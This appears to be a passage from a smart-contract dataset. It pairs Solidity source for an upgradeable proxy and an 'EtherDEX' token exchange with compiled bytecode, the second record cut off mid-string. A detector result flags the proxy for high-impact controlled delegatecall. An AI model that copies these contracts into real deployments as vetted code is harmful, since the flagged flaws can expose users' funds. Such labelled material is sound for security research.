// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title BaseFallback
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseFallback is Fallback {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal view override returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title VaultRouter
* @dev This contract combines an upgradeability with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract VaultRouter is BaseFallback {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin_ Address of the administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(
address _logic,
address _admin_,
bytes memory _data
) payable BaseFallback(_logic, _data) {
assert(ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_setAdmin(_admin_);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return addr The address of the admin.
*/
function admin() external ifAdmin returns (address addr) {
addr = _admin();
}
/**
* @return addr The address of the implementation.
*/
function implementation() external ifAdmin returns (address addr) {
addr = _implementation();
}
/**
* @dev Changes the admin of the.
* Only the current admin can call this function.
* @param newAdmin Address to transfer administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeTo(newImplementation);
(bool success, ) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal virtual override {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b61008036600461057f565b610138565b61005b6100933660046105a0565b610175565b3480156100a457600080fd5b506100ad610224565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e436600461057f565b610286565b3480156100f557600080fd5b506100ad610398565b6101066103e3565b6101366101317f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b61046f565b565b60008051602061062f833981519152546001600160a01b0316336001600160a01b0316141561016d5761016a81610493565b50565b61016a6100fe565b60008051602061062f833981519152546001600160a01b0316336001600160a01b03161415610217576101a783610493565b6000836001600160a01b031683836040516101c392919061061e565b600060405180830381855af49150503d80600081146101fe576040519150601f19603f3d011682016040523d82523d6000602084013e610203565b606091505b505090508061021157600080fd5b50505050565b61021f6100fe565b505050565b600061023c60008051602061062f8339815191525490565b6001600160a01b0316336001600160a01b0316141561027b57507f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b6102836100fe565b90565b60008051602061062f833981519152546001600160a01b0316336001600160a01b0316141561016d576001600160a01b0381166103295760405162461bcd60e51b815260206004820152603660248201527f43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f604482015275787920746f20746865207a65726f206164647265737360501b60648201526084015b60405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61036060008051602061062f8339815191525490565b604080516001600160a01b03928316815291841660208301520160405180910390a161016a8160008051602061062f83398151915255565b60006103b060008051602061062f8339815191525490565b6001600160a01b0316336001600160a01b0316141561027b575060008051602061062f8339815191525490565b3b151590565b60008051602061062f833981519152546001600160a01b0316336001600160a01b031614156101365760405162461bcd60e51b815260206004820152603260248201527f43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e20667260448201527137b6903a343290383937bc3c9030b236b4b760711b6064820152608401610320565b3660008037600080366000845af43d6000803e80801561048e573d6000f35b3d6000fd5b61049c816104d3565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b803b61053f5760405162461bcd60e51b815260206004820152603560248201527f43616e6e6f7420736574206120696d706c656d656e746174696f6e20746f2061604482015274206e6f6e2d636f6e7472616374206164647265737360581b6064820152608401610320565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b80356001600160a01b038116811461057a57600080fd5b919050565b600060208284031215610590578081fd5b61059982610563565b9392505050565b6000806000604084860312156105b4578182fd5b6105bd84610563565b9250602084013567ffffffffffffffff808211156105d9578384fd5b818601915086601f8301126105ec578384fd5b8135818111156105fa578485fd5b87602082850101111561060b578485fd5b6020830194508093505050509250925092565b818382376000910190815291905056feb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103a264697066735822122038ce5c6af5f119df33d6c128c761796ed6341eb5d78756f5cf54835a3495858864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
| 7,938 |
0x8af4dfc5c55ef2d3bce511e4c14d631253533540
|
pragma solidity 0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a && c >= b);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20 {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract EtherDEX {
using SafeMath for uint;
address public admin; //the admin address
address public feeAccount; //the account that will receive fees
uint public feeMake; //percentage times (1 ether)
uint public feeTake; //percentage times (1 ether)
mapping(address => mapping(address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether)
mapping(address => mapping(bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature)
mapping(address => mapping(bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled)
address public previousContract;
address public nextContract;
bool public isContractDeprecated;
uint public contractVersion;
event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user);
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give);
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
event FundsMigrated(address user);
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
constructor(address admin_, address feeAccount_, uint feeMake_, uint feeTake_, address _previousContract) public {
admin = admin_;
feeAccount = feeAccount_;
feeMake = feeMake_;
feeTake = feeTake_;
previousContract = _previousContract;
isContractDeprecated = false;
//count new contract version if it's not the first
if (previousContract != address(0)) {
contractVersion = EtherDEX(previousContract).contractVersion() + 1;
} else {
contractVersion = 1;
}
}
function() public payable {
revert("Cannot send ETH directly to the Contract");
}
function changeAdmin(address admin_) public onlyAdmin {
admin = admin_;
}
function changeFeeAccount(address feeAccount_) public onlyAdmin {
require(feeAccount_ != address(0));
feeAccount = feeAccount_;
}
function changeFeeMake(uint feeMake_) public onlyAdmin {
if (feeMake_ > feeMake) revert("New fee cannot be higher than the old one");
feeMake = feeMake_;
}
function changeFeeTake(uint feeTake_) public onlyAdmin {
if (feeTake_ > feeTake) revert("New fee cannot be higher than the old one");
feeTake = feeTake_;
}
function deprecate(bool deprecated_, address nextContract_) public onlyAdmin {
isContractDeprecated = deprecated_;
nextContract = nextContract_;
}
function deposit() public payable {
tokens[0][msg.sender] = SafeMath.add(tokens[0][msg.sender], msg.value);
emit Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]);
}
function withdraw(uint amount) public {
if (tokens[0][msg.sender] < amount) revert("Cannot withdraw more than you have");
tokens[0][msg.sender] = SafeMath.sub(tokens[0][msg.sender], amount);
msg.sender.transfer(amount);
//or .send() and check if https://ethereum.stackexchange.com/a/38642
emit Withdraw(0, msg.sender, amount, tokens[0][msg.sender]);
}
function depositToken(address token, uint amount) public {
//remember to call ERC20Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf.
if (token == 0) revert("Cannot deposit ETH with depositToken method");
if (!ERC20(token).transferFrom(msg.sender, this, amount)) revert("You didn't call approve method on Token contract");
tokens[token][msg.sender] = SafeMath.add(tokens[token][msg.sender], amount);
emit Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
}
function withdrawToken(address token, uint amount) public {
if (token == 0) revert("Cannot withdraw ETH with withdrawToken method");
if (tokens[token][msg.sender] < amount) revert("Cannot withdraw more than you have");
tokens[token][msg.sender] = SafeMath.sub(tokens[token][msg.sender], amount);
if (!ERC20(token).transfer(msg.sender, amount)) revert("Error while transfering tokens");
emit Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
}
function balanceOf(address token, address user) public view returns (uint) {
return tokens[token][user];
}
function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) public {
bytes32 hash = sha256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
orders[msg.sender][hash] = true;
emit Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender);
}
function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) public {
//amount is in amountGet terms
bytes32 hash = sha256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
if (!(
(orders[user][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), v, r, s) == user) &&
block.number <= expires &&
SafeMath.add(orderFills[user][hash], amount) <= amountGet
)) revert("Validation error or order expired or not enough volume to trade");
tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);
orderFills[user][hash] = SafeMath.add(orderFills[user][hash], amount);
emit Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender);
}
function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) public view returns (bool) {
return (tokens[tokenGet][sender] >= amount && availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount);
}
function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) public view returns (uint) {
bytes32 hash = sha256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
if (!((orders[user][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), v, r, s) == user) && block.number <= expires)) return 0;
uint available1 = SafeMath.sub(amountGet, orderFills[user][hash]);
uint available2 = SafeMath.mul(tokens[tokenGive][user], amountGet) / amountGive;
if (available1 < available2) return available1;
return available2;
}
function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user) public view returns (uint) {
bytes32 hash = sha256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
return orderFills[user][hash];
}
function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) public {
bytes32 hash = sha256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
if (!(orders[msg.sender][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), v, r, s) == msg.sender)) revert("Validation error");
orderFills[msg.sender][hash] = amountGet;
emit Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);
}
function migrateFunds(address[] tokens_) public {
// Get the latest successor in the chain
require(nextContract != address(0));
EtherDEX newExchange = findNewExchangeContract();
// Ether
migrateEther(newExchange);
// Tokens
migrateTokens(newExchange, tokens_);
emit FundsMigrated(msg.sender);
}
function depositEtherForUser(address _user) public payable {
require(!isContractDeprecated);
require(_user != address(0));
require(msg.value > 0);
EtherDEX caller = EtherDEX(msg.sender);
require(caller.contractVersion() > 0); // Make sure it's an exchange account
tokens[0][_user] = tokens[0][_user].add(msg.value);
}
function depositTokenForUser(address _token, uint _amount, address _user) public {
require(!isContractDeprecated);
require(_token != address(0));
require(_user != address(0));
require(_amount > 0);
EtherDEX caller = EtherDEX(msg.sender);
require(caller.contractVersion() > 0); // Make sure it's an exchange account
if (!ERC20(_token).transferFrom(msg.sender, this, _amount)) {
revert();
}
tokens[_token][_user] = tokens[_token][_user].add(_amount);
}
function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private {
uint feeMakeXfer = SafeMath.mul(amount, feeMake) / (1 ether);
uint feeTakeXfer = SafeMath.mul(amount, feeTake) / (1 ether);
tokens[tokenGet][msg.sender] = SafeMath.sub(tokens[tokenGet][msg.sender], SafeMath.add(amount, feeTakeXfer));
tokens[tokenGet][user] = SafeMath.add(tokens[tokenGet][user], SafeMath.sub(amount, feeMakeXfer));
tokens[tokenGet][feeAccount] = SafeMath.add(tokens[tokenGet][feeAccount], SafeMath.add(feeMakeXfer, feeTakeXfer));
tokens[tokenGive][user] = SafeMath.sub(tokens[tokenGive][user], SafeMath.mul(amountGive, amount) / amountGet);
tokens[tokenGive][msg.sender] = SafeMath.add(tokens[tokenGive][msg.sender], SafeMath.mul(amountGive, amount) / amountGet);
}
function findNewExchangeContract() private view returns (EtherDEX) {
EtherDEX newExchange = EtherDEX(nextContract);
for (uint16 n = 0; n < 20; n++) {// We will look past 20 contracts in the future
address nextContract_ = newExchange.nextContract();
if (nextContract_ == address(this)) {// Circular succession
revert();
}
if (nextContract_ == address(0)) {// We reached the newest, stop
break;
}
newExchange = EtherDEX(nextContract_);
}
return newExchange;
}
function migrateEther(EtherDEX newExchange) private {
uint etherAmount = tokens[0][msg.sender];
if (etherAmount > 0) {
tokens[0][msg.sender] = 0;
newExchange.depositEtherForUser.value(etherAmount)(msg.sender);
}
}
function migrateTokens(EtherDEX newExchange, address[] tokens_) private {
for (uint16 n = 0; n < tokens_.length; n++) {
address token = tokens_[n];
require(token != address(0));
// 0 = Ether, we handle it above
uint tokenAmount = tokens[token][msg.sender];
if (tokenAmount == 0) {
continue;
}
if (!ERC20(token).approve(newExchange, tokenAmount)) {
revert();
}
tokens[token][msg.sender] = 0;
newExchange.depositTokenForUser(token, tokenAmount, msg.sender);
}
}
}
|
0x6080604052600436106101665763ffffffff60e060020a6000350416630a19b14a81146101dc5780630b9276661461022d57806319774d43146102615780631e6090f414610297578063278b8c0e146102c05780632d804ca2146103015780632e1a7d4d1461033e578063338b5dea146103565780633c2e2a751461037a578063508493bc146103a557806354d03b5c146103cc57806357786394146103e457806365d9d8e2146103f957806365e17c9d1461040d5780636c86888b1461043e57806371ffcb161461049857806378954b3b146104b95780638823a9c0146104ce5780638f283970146104e65780639e281a9814610507578063a0a8e4601461052b578063bb5f462914610540578063be3dd13114610564578063c281309e146105b9578063d0e30db0146105ce578063d8787fde146105d6578063e6213127146105eb578063f7888aec14610611578063f851a44014610638578063fb6e155f1461064d575b6040805160e560020a62461bcd02815260206004820152602860248201527f43616e6e6f742073656e6420455448206469726563746c7920746f207468652060448201527f436f6e7472616374000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b3480156101e857600080fd5b5061022b600160a060020a0360043581169060243590604435811690606435906084359060a4359060c4351660ff60e43516610104356101243561014435610698565b005b34801561023957600080fd5b5061022b600160a060020a03600435811690602435906044351660643560843560a435610ac2565b34801561026d57600080fd5b50610285600160a060020a0360043516602435610c4e565b60408051918252519081900360200190f35b3480156102a357600080fd5b506102ac610c6b565b604080519115158252519081900360200190f35b3480156102cc57600080fd5b5061022b600160a060020a03600435811690602435906044351660643560843560a43560ff60c4351660e43561010435610c8c565b34801561030d57600080fd5b50610285600160a060020a0360043581169060243590604435811690606435906084359060a4359060c43516610fb2565b34801561034a57600080fd5b5061022b6004356110dc565b34801561036257600080fd5b5061022b600160a060020a036004351660243561124f565b34801561038657600080fd5b5061022b600160a060020a03600435811690602435906044351661148c565b3480156103b157600080fd5b50610285600160a060020a0360043581169060243516611674565b3480156103d857600080fd5b5061022b600435611691565b3480156103f057600080fd5b5061028561172d565b61022b600160a060020a0360043516611733565b34801561041957600080fd5b5061042261185d565b60408051600160a060020a039092168252519081900360200190f35b34801561044a57600080fd5b506102ac600160a060020a0360043581169060243590604435811690606435906084359060a4359060c43581169060ff60e4351690610104359061012435906101443590610164351661186c565b3480156104a457600080fd5b5061022b600160a060020a03600435166118c5565b3480156104c557600080fd5b50610422611920565b3480156104da57600080fd5b5061022b60043561192f565b3480156104f257600080fd5b5061022b600160a060020a03600435166119cb565b34801561051357600080fd5b5061022b600160a060020a0360043516602435611a11565b34801561053757600080fd5b50610285611cdc565b34801561054c57600080fd5b506102ac600160a060020a0360043516602435611ce2565b34801561057057600080fd5b506040805160206004803580820135838102808601850190965280855261022b95369593946024949385019291829185019084908082843750949750611d029650505050505050565b3480156105c557600080fd5b50610285611d70565b61022b611d76565b3480156105e257600080fd5b50610422611e05565b3480156105f757600080fd5b5061022b6004351515600160a060020a0360243516611e14565b34801561061d57600080fd5b50610285600160a060020a0360043581169060243516611e90565b34801561064457600080fd5b50610422611ebd565b34801561065957600080fd5b50610285600160a060020a0360043581169060243590604435811690606435906084359060a4359060c4351660ff60e435166101043561012435611ecc565b60006002308d8d8d8d8d8d6040516020018088600160a060020a0316600160a060020a03166c0100000000000000000000000002815260140187600160a060020a0316600160a060020a03166c0100000000000000000000000002815260140186815260200185600160a060020a0316600160a060020a03166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506040516020818303038152906040526040518082805190602001908083835b6020831061077e5780518252601f19909201916020918201910161075f565b51815160209384036101000a600019018019909216911617905260405191909301945091925050808303816000865af11580156107bf573d6000803e3d6000fd5b5050506040513d60208110156107d457600080fd5b5051600160a060020a038716600090815260056020908152604080832084845290915290205490915060ff1680610922575085600160a060020a031660018260405160200180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040516020818303038152906040526040518082805190602001908083835b602083106108915780518252601f199092019160209182019101610872565b51815160209384036101000a60001901801990921691161790526040805192909401829003822060008084528383018087529190915260ff8e1683860152606083018d9052608083018c9052935160a08084019750919550601f1981019492819003909101925090865af115801561090d573d6000803e3d6000fd5b50505060206040510351600160a060020a0316145b801561092e5750874311155b80156109685750600160a060020a03861660009081526006602090815260408083208484529091529020548b9061096590846121e7565b11155b15156109e4576040805160e560020a62461bcd02815260206004820152603f60248201527f56616c69646174696f6e206572726f72206f72206f726465722065787069726560448201527f64206f72206e6f7420656e6f75676820766f6c756d6520746f20747261646500606482015290519081900360840190fd5b6109f28c8c8c8c8a87612205565b600160a060020a0386166000908152600660209081526040808320848452909152902054610a2090836121e7565b600160a060020a03871660009081526006602090815260408083208584529091529020557f6effdda786735d5033bfad5f53e5131abcced9e52be6c507b62d639685fbed6d8c838c8e8d8302811515610a7557fe5b60408051600160a060020a03968716815260208101959095529285168484015204606083015291891660808201523360a082015290519081900360c00190a1505050505050505050505050565b604080516c01000000000000000000000000308102602080840191909152600160a060020a03808b1683026034850152604884018a905288169091026068830152607c8201869052609c820185905260bc8083018590528351808403909101815260dc90920192839052815160009360029392909182918401908083835b60208310610b5f5780518252601f199092019160209182019101610b40565b51815160209384036101000a600019018019909216911617905260405191909301945091925050808303816000865af1158015610ba0573d6000803e3d6000fd5b5050506040513d6020811015610bb557600080fd5b5051336000818152600560209081526040808320858452825291829020805460ff191660011790558151600160a060020a038c811682529181018b905290891681830152606081018890526080810187905260a0810186905260c0810192909252519192507f3f7f2eda73683c21a15f9435af1028c93185b5f1fa38270762dc32be606b3e85919081900360e00190a150505050505050565b600660209081526000928352604080842090915290825290205481565b60085474010000000000000000000000000000000000000000900460ff1681565b604080516c01000000000000000000000000308102602080840191909152600160a060020a03808e1683026034850152604884018d90528b169091026068830152607c8201899052609c820188905260bc8083018890528351808403909101815260dc90920192839052815160009360029392909182918401908083835b60208310610d295780518252601f199092019160209182019101610d0a565b51815160209384036101000a600019018019909216911617905260405191909301945091925050808303816000865af1158015610d6a573d6000803e3d6000fd5b5050506040513d6020811015610d7f57600080fd5b505133600090815260056020908152604080832084845290915290205490915060ff1680610eb45750604080517f19457468657265756d205369676e6564204d6573736167653a0a333200000000602080830191909152603c80830185905283518084039091018152605c909201928390528151339360019392909182918401908083835b60208310610e235780518252601f199092019160209182019101610e04565b51815160209384036101000a60001901801990921691161790526040805192909401829003822060008084528383018087529190915260ff8d1683860152606083018c9052608083018b9052935160a08084019750919550601f1981019492819003909101925090865af1158015610e9f573d6000803e3d6000fd5b50505060206040510351600160a060020a0316145b1515610f0a576040805160e560020a62461bcd02815260206004820152601060248201527f56616c69646174696f6e206572726f7200000000000000000000000000000000604482015290519081900360640190fd5b3360008181526006602090815260408083208584528252918290208c90558151600160a060020a038e811682529181018d9052908b1681830152606081018a90526080810189905260a0810188905260c081019290925260ff861660e083015261010082018590526101208201849052517f1e0b760c386003e9cb9bcf4fcf3997886042859d9b6ed6320e804597fcdb28b0918190036101400190a150505050505050505050565b604080516c01000000000000000000000000308102602080840191909152600160a060020a03808c1683026034850152604884018b905289169091026068830152607c8201879052609c820186905260bc8083018690528351808403909101815260dc9092019283905281516000938493600293909282918401908083835b602083106110505780518252601f199092019160209182019101611031565b51815160209384036101000a600019018019909216911617905260405191909301945091925050808303816000865af1158015611091573d6000803e3d6000fd5b5050506040513d60208110156110a657600080fd5b5051600160a060020a03841660009081526006602090815260408083208484529091529020549250905050979650505050505050565b33600090815260008051602061276d8339815191526020526040902054811115611176576040805160e560020a62461bcd02815260206004820152602260248201527f43616e6e6f74207769746864726177206d6f7265207468616e20796f7520686160448201527f7665000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b33600090815260008051602061276d833981519152602052604090205461119d90826123e9565b33600081815260008051602061276d8339815191526020526040808220939093559151909183156108fc02918491818181858888f193505050501580156111e8573d6000803e3d6000fd5b5033600081815260008051602061276d8339815191526020908152604080832054815193845291830193909352818301849052606082015290517ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb5679181900360800190a150565b600160a060020a03821615156112d5576040805160e560020a62461bcd02815260206004820152602b60248201527f43616e6e6f74206465706f736974204554482077697468206465706f7369745460448201527f6f6b656e206d6574686f64000000000000000000000000000000000000000000606482015290519081900360840190fd5b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018390529051600160a060020a038416916323b872dd9160648083019260209291908290030181600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b505050506040513d602081101561136d57600080fd5b505115156113eb576040805160e560020a62461bcd02815260206004820152603060248201527f596f75206469646e27742063616c6c20617070726f7665206d6574686f64206f60448201527f6e20546f6b656e20636f6e747261637400000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a038216600090815260046020908152604080832033845290915290205461141990826121e7565b600160a060020a03831660008181526004602090815260408083203380855290835292819020859055805193845290830191909152818101849052606082019290925290517fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d79181900360800190a15050565b60085460009074010000000000000000000000000000000000000000900460ff16156114b757600080fd5b600160a060020a03841615156114cc57600080fd5b600160a060020a03821615156114e157600080fd5b600083116114ee57600080fd5b339050600081600160a060020a031663a0a8e4606040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561153157600080fd5b505af1158015611545573d6000803e3d6000fd5b505050506040513d602081101561155b57600080fd5b50511161156757600080fd5b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018590529051600160a060020a038616916323b872dd9160648083019260209291908290030181600087803b1580156115d557600080fd5b505af11580156115e9573d6000803e3d6000fd5b505050506040513d60208110156115ff57600080fd5b5051151561160c57600080fd5b600160a060020a03808516600090815260046020908152604080832093861683529290522054611642908463ffffffff6121e716565b600160a060020a0394851660009081526004602090815260408083209590971682529390935293909120929092555050565b600460209081526000928352604080842090915290825290205481565b600054600160a060020a031633146116a857600080fd5b600254811115611728576040805160e560020a62461bcd02815260206004820152602960248201527f4e6577206665652063616e6e6f7420626520686967686572207468616e20746860448201527f65206f6c64206f6e650000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600255565b60025481565b60085460009074010000000000000000000000000000000000000000900460ff161561175e57600080fd5b600160a060020a038216151561177357600080fd5b6000341161178057600080fd5b339050600081600160a060020a031663a0a8e4606040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156117c357600080fd5b505af11580156117d7573d6000803e3d6000fd5b505050506040513d60208110156117ed57600080fd5b5051116117f957600080fd5b600160a060020a038216600090815260008051602061276d833981519152602052604090205461182f903463ffffffff6121e716565b600160a060020a0392909216600090815260008051602061276d833981519152602052604090209190915550565b600154600160a060020a031681565b600160a060020a03808d16600090815260046020908152604080832093851683529290529081205483118015906118b45750826118b18e8e8e8e8e8e8e8e8e8e611ecc565b10155b9d9c50505050505050505050505050565b600054600160a060020a031633146118dc57600080fd5b600160a060020a03811615156118f157600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600754600160a060020a031681565b600054600160a060020a0316331461194657600080fd5b6003548111156119c6576040805160e560020a62461bcd02815260206004820152602960248201527f4e6577206665652063616e6e6f7420626520686967686572207468616e20746860448201527f65206f6c64206f6e650000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600355565b600054600160a060020a031633146119e257600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0382161515611a97576040805160e560020a62461bcd0281526020600